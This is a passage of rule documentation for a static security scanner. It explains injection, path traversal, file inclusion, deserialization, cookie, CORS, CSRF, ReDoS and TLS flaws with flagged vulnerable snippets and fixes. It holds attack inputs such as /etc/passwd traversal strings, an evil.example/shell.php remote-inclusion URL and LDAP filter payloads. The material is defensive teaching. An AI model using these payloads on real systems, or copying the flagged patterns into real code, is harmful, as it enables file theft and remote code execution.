Java, Kotlin.
What rastray flags
ObjectInputStream ois = new ObjectInputStream(input); // ← flagged
Object o = ois.readObject(); // ← flagged
val ois = ObjectInputStream(input)
val o = ois.readObject() // ← flagged
What rastray deliberately does not flag
- JSON / XML / MessagePack / protobuf deserializers.
- Reads of objects you serialized yourself from a closed channel
and validated with a serialization-filter (
ObjectInputFilter) that rejects everything outside an allow-list.
How to fix it
Switch the wire format. JSON via Jackson or Gson, protobuf, Avro — any data-only format eliminates the gadget surface.
If you cannot change the format, install a JEP-290 serialization filter that rejects every class outside an explicit allow-list:
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.example.dto.*;java.lang.*;!*"
);
ObjectInputFilter.Config.setSerialFilter(filter);
A correctly-scoped filter is a hard lower bound — the JVM rejects the byte stream before any gadget can run.
References
- JEP 290 — Filter Incoming Serialization Data
- Frohoff & Lawrence: Marshalling Pickles (the original talk)
- CVE-2015-7501
- CWE-502
RSTR-DES-007 — PHP unserialize
Summary
PHP's unserialize deserializes the input into objects and invokes
their magic methods (__wakeup, __destruct, __toString) — even
ones the calling code never names. PHP's huge standard library
provides plenty of useful gadget chains; unserialize on
attacker-controlled bytes is a remote-code-execution primitive in
practice, not just in theory.
Severity
Critical.
Languages
PHP.
What rastray flags
$data = unserialize($_POST['payload']); // ← flagged
$data = unserialize(file_get_contents($uploaded)); // ← flagged
What rastray deliberately does not flag
json_decode(...)— no object instantiation.unserialize($str, ['allowed_classes' => false])— strict mode available in PHP 7+ that disables object construction.
How to fix it
Switch to JSON for any external interchange:
$data = json_decode($_POST['payload'], true);
If you must keep unserialize for an internal channel, enable strict
mode with an explicit class allow-list:
$data = unserialize($blob, [
'allowed_classes' => ['App\Dto\Job', 'App\Dto\Item'],
]);
'allowed_classes' => false blocks every class — perfect when you
only intended scalar / array data.
References
RSTR-PTH-001 — Flask send_file(request.*)
Summary
A Flask handler calls send_file (or send_from_directory with the
path on the wrong argument) using a path derived directly from
request input. An attacker submits ../../etc/passwd and the server
happily reads and returns that file.
Severity
High.
Languages
Python (Flask / Quart).
What rastray flags
@app.route('/download')
def download():
return send_file(request.args['path']) # ← flagged
@app.route('/file')
def file():
return send_file(f'./uploads/{request.args["name"]}') # ← flagged
What rastray deliberately does not flag
send_from_directory(safe_dir, secure_filename(name))(the documented safe form).send_file(...)with a constant path.
How to fix it
Use send_from_directory with werkzeug.utils.secure_filename:
from flask import send_from_directory
from werkzeug.utils import secure_filename
@app.route('/file/<name>')
def file(name):
return send_from_directory(
directory='./uploads',
path=secure_filename(name),
)
For multi-tenant uploads, also confirm the resolved path stays inside the intended base directory:
import os
base = os.path.realpath('./uploads')
target = os.path.realpath(os.path.join(base, secure_filename(name)))
if not target.startswith(base + os.sep):
abort(404)
secure_filename only strips path separators and a handful of unsafe
chars — the realpath check catches symlink shenanigans.
References
RSTR-PTH-002 — Express res.sendFile / fs.readFile with request input
Summary
Node counterpart of RSTR-PTH-001. The
application reads, writes, or streams a file whose path is built from
req.params, req.query, or req.body without confining the result
to a safe base directory.
Severity
High.
Languages
JavaScript, TypeScript.
What rastray flags
app.get('/file', (req, res) => {
res.sendFile(req.query.path); // ← flagged
});
fs.readFile(req.params.name, (err, data) => { ... }); // ← flagged
fs.writeFileSync(req.body.dest, data); // ← flagged
What rastray deliberately does not flag
res.sendFile(path.join(SAFE_DIR, basename(req.params.name)))— thebasenamestrips traversal sequences.- Constant paths.
How to fix it
Always join the user input onto a fixed base, run it through
path.basename to strip ../, and verify the resolved path still
sits under the base:
import path from 'node:path';
const BASE = path.resolve('./uploads');
app.get('/file/:name', (req, res) => {
const safeName = path.basename(req.params.name);
const target = path.resolve(BASE, safeName);
if (!target.startsWith(BASE + path.sep)) {
return res.sendStatus(404);
}
res.sendFile(target);
});
path.resolve collapses any leftover ../; the prefix check then
catches symlink escapes.
References
RSTR-PTH-003 — Java new File(servletRequest.getParameter(...))
Summary
A Java servlet builds a File (or Paths.get) using request
parameters directly. The classic input ../../etc/passwd (or
..\..\windows\win.ini on Windows) lets an attacker escape any
intended directory.
Severity
High.
Languages
Java, Kotlin.
What rastray flags
File f = new File(request.getParameter("name")); // ← flagged
File f = new File("uploads/" + request.getParameter("name")); // ← flagged
Path p = Paths.get(request.getParameter("name")); // ← flagged
What rastray deliberately does not flag
Paths.get(SAFE_DIR, FilenameUtils.getName(input)).- Reads of constant paths.
How to fix it
Canonicalize the resolved path and verify it stays inside the
intended base. With Apache Commons FilenameUtils:
import java.io.File;
import org.apache.commons.io.FilenameUtils;
Path base = Paths.get("/var/app/uploads").toRealPath();
String name = FilenameUtils.getName(request.getParameter("name")); // strips dirs
Path target = base.resolve(name).toRealPath();
if (!target.startsWith(base)) {
throw new SecurityException("path escape");
}
return Files.readAllBytes(target);
If you can't take Commons-IO as a dependency, hand-roll the strip
with Paths.get(name).getFileName().
References
RSTR-PTH-004 — literal ../../ in source
Summary
A literal '../../' (or longer) string appears inside source code.
Most of the time this is build-tool plumbing or test-fixture pathing —
not a vulnerability — but it is also exactly the shape of a
hard-coded directory-traversal payload, so the rule flags it for
review.
Severity
Info. This is a flag-for-review, not a confirmed bug.
Languages
All scanned languages — Python, JS/TS, Go, Rust, Java, Kotlin, Ruby, PHP.
What rastray flags
ROOT = '../../config/settings.yaml' # ← flagged
import x from '../../shared/util'; // ← rule excludes import statements; not flagged
The rule does exclude import / require / from … import …
specifiers, and does exclude lines that are recognisably module
imports. It fires on the remaining cases where the ../../ is in an
expression context.
What rastray deliberately does not flag
import 'pkg/../../sub'(module specifiers).- TypeScript
path mappingintsconfig.jsonpaths.
How to fix it
If the ../../ is intentional (build-time path, test fixture), keep
it and suppress the finding with a comment that documents why:
# rastray-ignore: RSTR-PTH-004 — fixture lives outside the package
ROOT = '../../tests/fixtures/sample.json'
If the literal is in fact concatenated into a path that takes
attacker input downstream, refactor to a real allow-list of file
roots and use os.path.realpath to confirm the resolution stays
inside.
References
RSTR-PTH-005 — PHP include / require from request superglobal
Summary
A PHP page calls include, include_once, require, or require_once
with a path built from $_GET, $_POST, $_REQUEST, or $_COOKIE.
Two failure modes:
-
Local file inclusion (LFI). The attacker submits
?page=../../../../etc/passwd(or similar) and PHP reads / executes the file. With log files in predictable locations, LFI frequently chains to RCE. -
Remote file inclusion (RFI). If
allow_url_include = Onin php.ini, the attacker submits?page=http://evil.example/shell.phpand PHP fetches and executes the remote file. Immediate RCE.
Severity
Critical.
Languages
PHP.
What rastray flags
include $_GET['page'] . '.php'; // ← flagged
include_once($_REQUEST['module']); // ← flagged
require '/var/app/views/' . $_POST['view'] . '.php'; // ← flagged
What rastray deliberately does not flag
- Constant-string includes:
include 'views/home.php';. - Includes that go through a separate validation step the regex cannot see across.
How to fix it
Use an explicit allow-list that maps request values to fixed paths. Never let the user control any portion of the path:
$VIEWS = [
'home' => 'views/home.php',
'about' => 'views/about.php',
'contact' => 'views/contact.php',
];
$key = $_GET['page'] ?? 'home';
if (!isset($VIEWS[$key])) {
http_response_code(404);
exit;
}
include $VIEWS[$key];
If you absolutely must build the path dynamically, confine it to a
safe directory and verify with realpath:
$base = realpath('/var/app/views');
$file = realpath($base . '/' . basename($_GET['page'])) . '.php';
if ($file === false || strpos($file, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(400);
exit;
}
include $file;
Disable allow_url_include in php.ini regardless — there is no
production scenario where it should be on.
References
- OWASP File Inclusion
- PHP: allow_url_include
- CWE-98: PHP Remote File Inclusion
- CWE-22: Path Traversal
RSTR-PTH-006 — PHP file API on request superglobal
Summary
file_get_contents, file_put_contents, fopen, readfile,
fpassthru, or file is called with a path derived directly from
$_GET, $_POST, $_REQUEST, or $_COOKIE. An attacker submits
../../etc/passwd and the application reads or writes outside the
intended directory.
Distinct from RSTR-PTH-005: that rule covers
the include / require family, which executes PHP. This one covers
generic file reads / writes, which expose or overwrite arbitrary
files but don't execute them.
Severity
High.
Languages
PHP.
What rastray flags
$content = file_get_contents($_GET['url']); // ← flagged
$fp = fopen($_POST['file'], 'r'); // ← flagged
readfile($_REQUEST['path']); // ← flagged
file_put_contents($_GET['name'], $data); // ← flagged
What rastray deliberately does not flag
- Calls with a constant path:
file_get_contents('/etc/myapp/config.json'). - Calls where the value flows through an intermediate variable (one-step taint scope, consistent across rastray).
How to fix it
Strip path components with basename, then resolve against a fixed
base directory and verify with realpath:
$base = realpath('/var/app/uploads');
$file = realpath($base . '/' . basename($_GET['name']));
if ($file === false || strpos($file, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(404);
exit;
}
return file_get_contents($file);
For URL fetches (where file_get_contents($_GET['url']) is actually
HTTP-based, not file-based), the bug is server-side request
forgery rather than path traversal. The fix is the same as
RSTR-SSRF-001: allow-list the host and
block private/loopback/metadata IPs before fetching.
References
RSTR-COOKIE-001 — cookie set without secure: true
Summary
A session cookie is configured with secure: false (or no secure
flag at all). Browsers will send the cookie over plaintext HTTP, where
any on-path attacker (rogue Wi-Fi, an ISP, a hotel network) can read or
replay it.
Severity
High. Session-cookie leakage means the attacker takes over the
authenticated session.
Languages
JavaScript, TypeScript.
What rastray flags
Express, Koa, Fastify, and express-session cookie option blocks
where secure is explicitly false:
res.cookie('sid', token, { secure: false }); // ← flagged
app.use(session({
secret: 'x',
cookie: { secure: false }, // ← flagged
}));
What rastray deliberately does not flag
- Cookies set with
secure: true. - Cookies set with no
securefield at all inside anexpress-sessioninvocation wherecookie:is also missing — that's a different bug, caught by static review, not this rule. - Local-dev cookies inside an
if (NODE_ENV === 'development')branch that the rule cannot semantically reach.
How to fix it
Always set secure: true on session cookies. The full safe default is:
res.cookie('sid', token, {
secure: true,
httpOnly: true,
sameSite: 'strict',
});
For local development, terminate TLS at a reverse proxy (or use
mkcert) instead of toggling secure off.
References
- OWASP Session Management Cheat Sheet
- MDN: Secure cookies
- CWE-614: Sensitive Cookie Without 'Secure' Attribute
RSTR-COOKIE-002 — cookie set without httpOnly: true
Summary
A cookie is configured with httpOnly: false. Client-side JavaScript
can read the cookie via document.cookie, so any XSS bug — including
ones in third-party scripts loaded by the page — exfiltrates the
session token.
Severity
High. Removes the most important defence-in-depth against XSS-driven
session theft.
Languages
JavaScript, TypeScript.
What rastray flags
Cookie option objects with httpOnly: false:
res.cookie('sid', token, { httpOnly: false }); // ← flagged
app.use(session({
secret: 'x',
cookie: { httpOnly: false }, // ← flagged
}));
What rastray deliberately does not flag
- Cookies set with
httpOnly: true. - Cookies the application needs to read from JS (CSRF token mirror,
feature-flag cookie). For those, name them clearly (
XSRF-TOKEN) and suppress the finding with a comment.
How to fix it
Default to httpOnly: true and only opt out per-cookie when the
client genuinely needs to read it. The full safe default:
res.cookie('sid', token, {
secure: true,
httpOnly: true,
sameSite: 'strict',
});
A CSRF mirror token is the canonical legitimate exception — name it explicitly and suppress per-line:
// rastray-ignore: RSTR-COOKIE-002 — CSRF mirror cookie must be JS-readable
res.cookie('XSRF-TOKEN', csrfToken, { httpOnly: false, sameSite: 'strict' });
References
RSTR-COOKIE-003 — sameSite: 'none' cookie
Summary
A cookie is configured with sameSite: 'none'. Browsers will send
this cookie on every cross-site request, which means the cookie is
attached to requests originating from third-party pages — the exact
condition that CSRF exploits.
Two failure modes:
- Without
secure: true— modern browsers reject the combination outright; the cookie is silently dropped and the app breaks. - With
secure: true— the cookie is sent cross-site, opening a CSRF surface thatsameSite: 'lax'(the default) would have blocked for state-changing requests.
Severity
Medium. Only set sameSite: 'none' when third-party embedding is
a hard requirement (federated SSO, embedded checkout widgets, etc.).
Languages
JavaScript, TypeScript.
What rastray flags
Cookie options with sameSite: 'none':
res.cookie('sid', token, { sameSite: 'none' }); // ← flagged
app.use(session({
cookie: { sameSite: 'none', secure: true }, // ← flagged
}));
What rastray deliberately does not flag
sameSite: 'lax'(the browser default) orsameSite: 'strict'.- Cookies with no
sameSitefield set explicitly.
How to fix it
Prefer the strictest value that still lets the application work:
res.cookie('sid', token, {
sameSite: 'strict', // safest; cookie never leaves first-party context
secure: true,
httpOnly: true,
});
'lax' is acceptable when top-level cross-site navigations need the
cookie (the common case for OAuth callbacks and login redirects).
If 'none' is genuinely required (third-party iframe scenario), pair
it with secure: true and ensure every state-changing endpoint
has its own anti-CSRF mechanism (synchronizer token, double-submit
cookie). Suppress with an explanatory comment:
// rastray-ignore: RSTR-COOKIE-003 — required for embedded checkout iframe; CSRF
// protected by per-request token in the X-CSRF-Token header
res.cookie('sid', token, { sameSite: 'none', secure: true, httpOnly: true });
References
RSTR-CORS-001 — cors origin:true|* with credentials:true
Summary
Express's cors middleware is configured with both
origin: true (or '*') and credentials: true. The
browser-spec dance for this combination collapses the
wildcard to the request's Origin header and accepts
cookies with the response. Net effect: any origin in the
world can make credentialed cross-site requests to your
API, defeating same-origin policy.
Severity
High.
Languages
JavaScript / TypeScript.
How to fix it
Allow-list the trusted origins:
app.use(cors({
origin: ['https://app.example.com', 'https://admin.example.com'],
credentials: true,
}));
Or — if the API is truly public — drop credentials:
app.use(cors({ origin: '*' })); // public API, no cookies
Function-form for dynamic allow-listing:
const ALLOWED = new Set(['https://app.example.com']);
app.use(cors({
origin: (origin, cb) => cb(null, ALLOWED.has(origin)),
credentials: true,
}));
References
RSTR-CORS-002 — manual Access-Control-Allow-Origin: * with credentials
Summary
Code sets the Access-Control-Allow-Origin response header to * on
a route that also sends Access-Control-Allow-Credentials: true. The
CORS spec forbids that combination — browsers reject the response and
the request fails — and if the application later "fixes" it by
reflecting the request Origin header without an allow-list, every
third-party origin gets credentialed cross-origin access to the API.
This is the same vulnerability class as RSTR-CORS-001, just expressed
via the lower-level res.setHeader / res.header API instead of the
cors middleware.
Severity
High.
Languages
JavaScript, TypeScript.
What rastray flags
Manual header writes pairing wildcard ACAO with credentials:
res.setHeader('Access-Control-Allow-Origin', '*'); // ← flagged
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.header('Access-Control-Allow-Origin', '*'); // ← flagged
res.header('Access-Control-Allow-Credentials', true);
What rastray deliberately does not flag
Access-Control-Allow-Origin: *without credentials (the public-API pattern; the spec permits it).- Headers set against a fixed allow-listed origin string.
How to fix it
Allow-list specific origins and only echo when the request Origin
matches an entry. The minimum safe pattern is:
const ALLOWED = new Set([
'https://app.example.com',
'https://admin.example.com',
]);
const origin = req.headers.origin;
if (origin && ALLOWED.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
Vary: Origin is essential — without it caches will serve the
allow-listed origin's response to other requesters.
How to suppress
For public, credential-less APIs the wildcard is correct; just remove
the Allow-Credentials line. If your tooling has a reason to keep
both headers, suppress per-line:
// rastray-ignore: RSTR-CORS-002 — public docs endpoint, no credentials sent
References
- Fetch spec: CORS protocol — credentials
- PortSwigger: CORS misconfiguration
- CWE-942: Permissive Cross-domain Policy
RSTR-CSRF-001 — Flask WTF_CSRF_ENABLED disabled
Summary
Flask-WTF's CSRF protection is disabled globally
(WTF_CSRF_ENABLED = False or app.config['WTF_CSRF_ENABLED'] = False). Every state-changing form in the app is now
vulnerable to cross-site request forgery: an attacker who
gets the victim to visit a page they control can submit a
form to your app using the victim's cookies.
Severity
High.
Languages
Python.
How to fix it
Leave the default in place — WTF_CSRF_ENABLED defaults to
True for a reason. Use {{ csrf_token() }} in every form:
<form method="POST" action="/profile">
{{ csrf_token() }}
<input name="name" />
<button type="submit">Save</button>
</form>
For AJAX, set the X-CSRFToken header from
{{ csrf_token() }} injected into a <meta> tag.
If a specific webhook handler legitimately can't have CSRF protection (e.g. Stripe webhook), exempt that one route:
@csrf.exempt
@app.route('/webhook/stripe', methods=['POST'])
def stripe_webhook():
# verify Stripe signature instead
...
…not the whole app.
References
RSTR-CSRF-002 — Django @csrf_exempt on a state-changing view
Summary
A Django view is decorated with @csrf_exempt, removing the CSRF
protection that the rest of the project's middleware enforces. If the
view accepts POST / PUT / PATCH / DELETE, any cross-site form
submission targeting it succeeds with the victim's session cookies
attached.
Severity
Medium. The bug is real but limited to the single view; the rest of
the application is still protected.
Languages
Python.
What rastray flags
Any use of the csrf_exempt decorator from django.views.decorators.csrf:
from django.views.decorators.csrf import csrf_exempt
@csrf_exempt # ← flagged
def transfer_funds(request):
...
@csrf_exempt # ← flagged
@require_POST
def webhook(request):
...
What rastray deliberately does not flag
- Class-based views protected by Django's default CSRF middleware.
- Views with
@requires_csrf_tokenor@ensure_csrf_cookie.
How to fix it
For internal endpoints: remove @csrf_exempt. Let the middleware
enforce the token; if the client is a SPA, expose the token via
{% csrf_token %} or ensure_csrf_cookie and send it back as
X-CSRFToken.
For third-party webhooks (Stripe, GitHub, Slack, etc.): verify the incoming signature instead of disabling CSRF. The signature does the job that the CSRF token does for browser-originated requests.
@csrf_exempt
@require_POST
def stripe_webhook(request):
sig = request.META.get('HTTP_STRIPE_SIGNATURE', '')
try:
event = stripe.Webhook.construct_event(
request.body, sig, settings.STRIPE_WEBHOOK_SECRET
)
except (ValueError, stripe.error.SignatureVerificationError):
return HttpResponseBadRequest()
...
The csrf_exempt is unavoidable in that case — suppress it with a
comment explaining the signature check substitutes for the missing
CSRF protection:
# rastray-ignore: RSTR-CSRF-002 — Stripe webhook; signature verified above
@csrf_exempt
@require_POST
def stripe_webhook(request): ...
References
- Django CSRF docs —
csrf_exempt - OWASP CSRF Prevention Cheat Sheet
- CWE-352: Cross-Site Request Forgery
RSTR-ORM-001 — Node ORM Model.create(req.body)
Summary
A Node ORM (Mongoose, Sequelize, Prisma, etc.) is asked to
create or update a record using the entire request body as
the data object. Mass-assignment: every field name the
attacker sends becomes a field in the database write.
Submit {name: "alice", isAdmin: true, role: "admin"} and
you get an admin account.
Severity
High.
Languages
JavaScript / TypeScript.
How to fix it
Allow-list the fields explicitly. Three idiomatic forms:
lodash.pick:
import _ from 'lodash';
const data = _.pick(req.body, ['name', 'email']);
await User.create(data);
Schema validation (zod):
import { z } from 'zod';
const Body = z.object({ name: z.string(), email: z.string().email() }).strict();
const data = Body.parse(req.body);
await User.create(data);
Prisma — only pass the fields explicitly:
await prisma.user.create({
data: { name: req.body.name, email: req.body.email },
});
References
- OWASP: Mass assignment cheat sheet
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- GitHub-Rails mass-assignment incident (2012)
RSTR-ORM-002 — Django ORM create/filter/update with **request.POST
Summary
A Django view passes a request body directly into a model create /
update / filter, e.g. Model.objects.create(**request.POST). Every
key in the request body becomes a field write, regardless of whether
the form was meant to expose it. An attacker can promote themselves to
admin by submitting is_staff=true (or whatever the model's flag
field is called).
This is mass assignment, CWE-915.
Severity
High.
Languages
Python (Django).
What rastray flags
def signup(request):
User.objects.create(**request.POST) # ← flagged
def update(request, pk):
Article.objects.filter(pk=pk).update(**request.POST) # ← flagged
What rastray deliberately does not flag
- Form-bound paths:
form = SignupForm(request.POST); form.save(). - ModelForm or DRF Serializer-driven updates.
- Explicit field lists:
User.objects.create(email=request.POST['email']).
How to fix it
Always go through a ModelForm, a Django REST Framework Serializer,
or an explicit allow-list:
from django.forms import ModelForm
class SignupForm(ModelForm):
class Meta:
model = User
fields = ['email', 'password'] # allow-list
def signup(request):
form = SignupForm(request.POST)
if not form.is_valid():
return HttpResponseBadRequest(form.errors)
form.save()
# REST framework
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ['email', 'password']
read_only_fields = ['is_staff', 'is_superuser']
References
- Django docs —
ModelForm - DRF Serializers —
read_only_fields - OWASP API Security Top 10 — API3: Broken Object Property Level Authorization
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
RSTR-ORM-003 — Rails create / update with raw params
Summary
A Rails controller spreads params (or a nested params hash) into
ActiveRecord create / update without going through Strong
Parameters' permit. Every attribute in the request becomes a column
write, allowing an attacker to flip admin: true or any other
unintended field.
This is the original mass-assignment bug class that pushed Rails to introduce Strong Parameters in the first place.
Severity
High.
Languages
Ruby (Rails).
What rastray flags
def create
User.create(params[:user]) # ← flagged
end
def update
@article.update(params[:article]) # ← flagged
end
What rastray deliberately does not flag
params.require(:user).permit(:email, :password)(Strong Parameters).params.permit(:email)form.- Direct assignment of individual attributes:
User.create(email: params[:user][:email]).
How to fix it
Use Strong Parameters with an explicit allow-list per controller:
class UsersController < ApplicationController
def create
User.create(user_params)
end
private
def user_params
params.require(:user).permit(:email, :password)
# NEVER :is_admin, :role, :verified — those mutate via separate
# admin-only controllers
end
end
For nested associations, permit them explicitly:
params.require(:order).permit(:item_id, addresses_attributes: [:street, :zip])
References
- Rails Guides: Strong Parameters
- Rails mass-assignment history (the original Egor Homakov incident)
- CWE-915
RSTR-ORM-004 — raw SQL template literal
Summary
A raw SQL query is built by interpolating values into a
template literal (`SELECT * FROM users WHERE id = ${id}`)
and passed to knex.raw, sequelize.query, or Prisma's
$queryRawUnsafe. The fact that the syntax looks modern
doesn't change the wire format — it's still string
concatenation, and still SQL-injectable.
Severity
Critical. Full database disclosure, and on some configs
RCE via stored procedures or xp_cmdshell.
Languages
JavaScript / TypeScript.
How to fix it
Use parameter binding:
// Knex
await knex.raw('SELECT * FROM users WHERE id = ?', [id]);
// Sequelize
await sequelize.query('SELECT * FROM users WHERE id = :id', {
replacements: { id },
type: sequelize.QueryTypes.SELECT,
});
// Prisma: use $queryRaw (tagged template — auto-parameterised)
// NOT $queryRawUnsafe
await prisma.$queryRaw`SELECT * FROM users WHERE id = ${id}`;
The Prisma case is subtle: $queryRaw (tagged template
form) IS safe because Prisma parses the ${...}
expressions and binds them as parameters. $queryRawUnsafe
exists explicitly to bypass that — it's named to discourage
exactly the bug this rule catches.
References
RSTR-ORM-005 — Rails params.require(:x).permit! (open permit)
Summary
params.require(:x).permit! declares "every key inside params[:x] is
permitted." It is the open-door form of Rails Strong Parameters — the
exact thing Strong Parameters was introduced to prevent. Any attribute
the attacker submits (including is_admin: true, role: 'owner',
verified: true) becomes a model write.
This is the same vulnerability class as RSTR-ORM-003,
expressed via the permit! escape hatch instead of by skipping
Strong Parameters entirely.
Severity
High.
Languages
Ruby (Rails).
What rastray flags
def user_params
params.require(:user).permit! # ← flagged
end
params.permit! # ← flagged
What rastray deliberately does not flag
Explicit allow-list:
def user_params
params.require(:user).permit(:email, :first_name, :last_name)
end
Nested allow-list:
def order_params
params.require(:order).permit(:item_id, addresses_attributes: [:street, :zip])
end
How to fix it
Enumerate the attributes you actually want to accept. Anything not in the list is silently dropped, which is exactly the behaviour you want:
def user_params
params.require(:user).permit(:email, :first_name, :last_name)
# NEVER :is_admin, :role, :verified — those mutate via separate
# admin-only controllers
end
For nested associations, list the inner keys:
def order_params
params
.require(:order)
.permit(:item_id, :quantity, addresses_attributes: [:street, :city, :zip])
end
If the controller is truly internal (e.g. it talks to its own
admin UI behind authentication you control), permit! is still
unsafe — the underlying model usually has columns the admin UI
should not be able to flip either. Always enumerate.
References
RSTR-LDAP-001 — ldapjs search with template-literal filter
Summary
An LDAP search call is given a filter built by string
interpolation: `(uid=${userInput})`. The LDAP filter
grammar has metacharacters (*, (, ), \, NUL) that
let an attacker rewrite the filter:
*)(uid=*matches everything;*)(|(role=admin)enumerates admins;*)(uid=*))(|(&(uid=*opens the door to filter-tree injection.
This is the LDAP cousin of SQL injection.
Severity
High.
Languages
JavaScript / TypeScript.
How to fix it
Escape every interpolated value with the LDAP filter character escape:
import ldapEscape from 'ldap-escape';
client.search('dc=example,dc=com', {
filter: `(uid=${ldapEscape.filter`${userInput}`})`,
});
Or build the filter from a structured object via
ldapjs.parseFilter so there's no string to interpolate
into at all.
References
- CWE-90: LDAP Injection
- OWASP LDAP Injection Prevention Cheat Sheet
- RFC 4515: LDAP Search Filter syntax
RSTR-LDAP-002 — Python LDAP filter built with f-string
Summary
A Python LDAP search builds the filter string from request input via
an f-string or .format(...). An attacker submitting *)(uid=* (or
similar metacharacter payloads) bypasses authentication or enumerates
the directory.
This is the Python counterpart of RSTR-LDAP-001.
Severity
High.
Languages
Python (ldap3, python-ldap).
What rastray flags
conn.search(base_dn, f'(uid={user})', search_scope=SUBTREE) # ← flagged
conn.search_s(base_dn, ldap.SCOPE_SUBTREE,
'(uid={})'.format(user)) # ← flagged
What rastray deliberately does not flag
- Filters built from literal strings.
- Filters built with
ldap3.utils.conv.escape_filter_chars(...)first. - Filters built from a parsed/validated identifier (e.g. a UUID).
How to fix it
Escape the input with the library's escape helper:
from ldap3.utils.conv import escape_filter_chars
conn.search(base_dn,
f'(uid={escape_filter_chars(user)})',
search_scope=SUBTREE)
For python-ldap:
import ldap.filter
filter_str = ldap.filter.filter_format('(uid=%s)', [user])
conn.search_s(base_dn, ldap.SCOPE_SUBTREE, filter_str)
filter_format parametrises like a prepared statement — it's the
LDAP equivalent of ? placeholders.
References
RSTR-REDOS-001 — nested quantifier catastrophic backtracking
Summary
A regex contains a nested quantifier of the form (X+)+,
(X*)+, or (X+)*. On crafted input like
aaaaaaaaaaaaaaaaaaab (lots of as followed by a b
that breaks the match), backtracking regex engines try
exponentially many ways to partition the input between the
inner and outer quantifier — O(2ⁿ) work that hangs the
thread.
This is regular-expression denial of service (ReDoS). A single user-controlled string can DoS a server thread for minutes.
Severity
High. Cheap to exploit, hard to recover from once the
process is locked up.
Languages
JavaScript, TypeScript, Python.
What rastray flags
Regex literals (/^(a+)+$/), new RegExp('^(a+)+$'), and
re.compile(r'^(a+)+$') containing the nested-quantifier
shape.
What rastray deliberately does not flag
- Simple single quantifiers:
/^a+$/,r'^[a-z]+$'. - Character classes:
/^[a-z0-9]+$/. - Alternation overlap (
(a|a)+,(ab|a)+) — same risk class but needs a regex parser to detect. Out of scope for this rule; a future slice may add it.
How to fix it
Three options:
-
Collapse the nested quantifier:
(a+)+→a+when both branches accept the same character class. -
Use a character class instead of alternation:
(a|b)+→(?:[ab])+. -
Use a linear-time regex engine. JS engines, PCRE, and Python's
reall use backtracking. Switch to:- Rust's
regexcrate - Google's RE2
- The
re2-wasmJS port - Python's
regexmodule inLOCALE-free mode is still backtracking; for guaranteed linear time use Rust regex via PyO3 orgoogle-re2.
- Rust's
-
Validate input length before matching as defence-in-depth. Even with a backtracking engine, capping input at 1 KB stops most DoS shapes from running long enough to matter.
References
- OWASP ReDoS
safe-regexheuristic the original detection comes from- Cloudflare 2019 outage caused by ReDoS
- CWE-1333: Inefficient Regular Expression Complexity
RSTR-NET-001 — TLS verification disabled
Summary
A Python HTTP request is made with verify=False. The
client will accept any TLS certificate, including expired,
self-signed, or attacker-presented ones. Traffic between
the client and the supposed server is now vulnerable to a
man-in-the-middle attack — the attacker can read and
modify everything, including auth tokens and request bodies.
Severity
High.
Languages
Python (requests, httpx, urllib3 all accept the same
flag).
How to fix it
Remove the flag — the default of verify=True is what
you want.
If you genuinely need a custom certificate authority (e.g. your company's internal CA), pass the bundle path:
response = requests.get('https://internal.example.com', verify='/etc/ssl/internal-ca.pem')
For testing against localhost with a self-signed cert,
create a real test certificate with mkcert instead — it
takes 30 seconds and means your test code looks like
production code.
verify=False is never the right answer in production.
References
RSTR-NET-002 — Python SSL context with verification disabled
Summary
A Python ssl context is configured with check_hostname = False,
verify_mode = ssl.CERT_NONE, or both — turning off the parts of
TLS that prevent MITM. The connection is encrypted but
unauthenticated; any on-path attacker can impersonate the server.
Severity
High.
Languages
Python.
What rastray flags
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False # ← flagged
ctx.verify_mode = ssl.CERT_NONE # ← flagged
ssl._create_default_https_context = ssl._create_unverified_context # ← flagged
What rastray deliberately does not flag
ssl.create_default_context()with no overrides.- Test code that explicitly pins a self-signed cert via
load_verify_locations.
How to fix it
Default to verification on and supply a trust store if you must override:
import ssl
ctx = ssl.create_default_context() # check_hostname + CERT_REQUIRED on by default
# Optionally pin to an internal CA:
ctx.load_verify_locations(cafile='/etc/ssl/internal-ca.crt')
with socket.create_connection((host, 443)) as sock:
with ctx.wrap_socket(sock, server_hostname=host) as tls:
tls.sendall(payload)
For requests, the equivalent flag is verify=False — the matching
rule is RSTR-NET-001.
References
RSTR-NET-003 — Wildcard CORS with credentials, or bare wildcard ACAO
Summary
Two adjacent misconfigurations:
-
Wildcard origin + credentials.
cors({ origin: '*', credentials: true })(or the manual-header form) — browsers reject the combination, and if the code later "fixes" it by reflectingOrigin, every site on the internet gets credentialed cross-origin access. -
Bare
Access-Control-Allow-Origin: *on an endpoint that returns sensitive data — even without credentials, the endpoint is exposing JSON cross-origin to anyone.
The second case is Medium severity (intent ambiguous), the first is
High.
Languages
JavaScript, TypeScript.
What rastray flags
app.use(cors({ origin: '*', credentials: true })); // ← flagged
app.use(cors({ origin: true, credentials: true })); // ← flagged
res.setHeader('Access-Control-Allow-Origin', '*'); // ← flagged (Medium)
What rastray deliberately does not flag
cors({ origin: ['https://app.example.com'] }).- Static
Access-Control-Allow-Origin: https://app.example.com.
How to fix it
Allow-list specific origins; never combine wildcard with credentials:
const ALLOWED = ['https://app.example.com', 'https://admin.example.com'];
app.use(cors({
origin: (origin, cb) => {
if (!origin || ALLOWED.includes(origin)) return cb(null, true);
cb(new Error('not allowed'));
},
credentials: true,
}));
For a truly public API that returns only non-sensitive data,
cors({ origin: '*' }) (no credentials) is fine — see
RSTR-CORS-002 for the same vulnerability via
the manual-header form.
References
RSTR-NET-004 — cookie httpOnly: false (network-rule variant)
Summary
A cookie is set with httpOnly: false, exposing it to client-side
JavaScript. This is the network-layer variant of
RSTR-COOKIE-002; it exists separately
because the network analyzer also catches cookie options when set on
header objects rather than via Express res.cookie.
Severity
Medium.
Languages
JavaScript, TypeScript.
What rastray flags
const cookieOptions = { httpOnly: false }; // ← flagged
res.cookie('sid', token, cookieOptions);
const opts = { httpOnly: false, maxAge: 3600_000 }; // ← flagged
What rastray deliberately does not flag
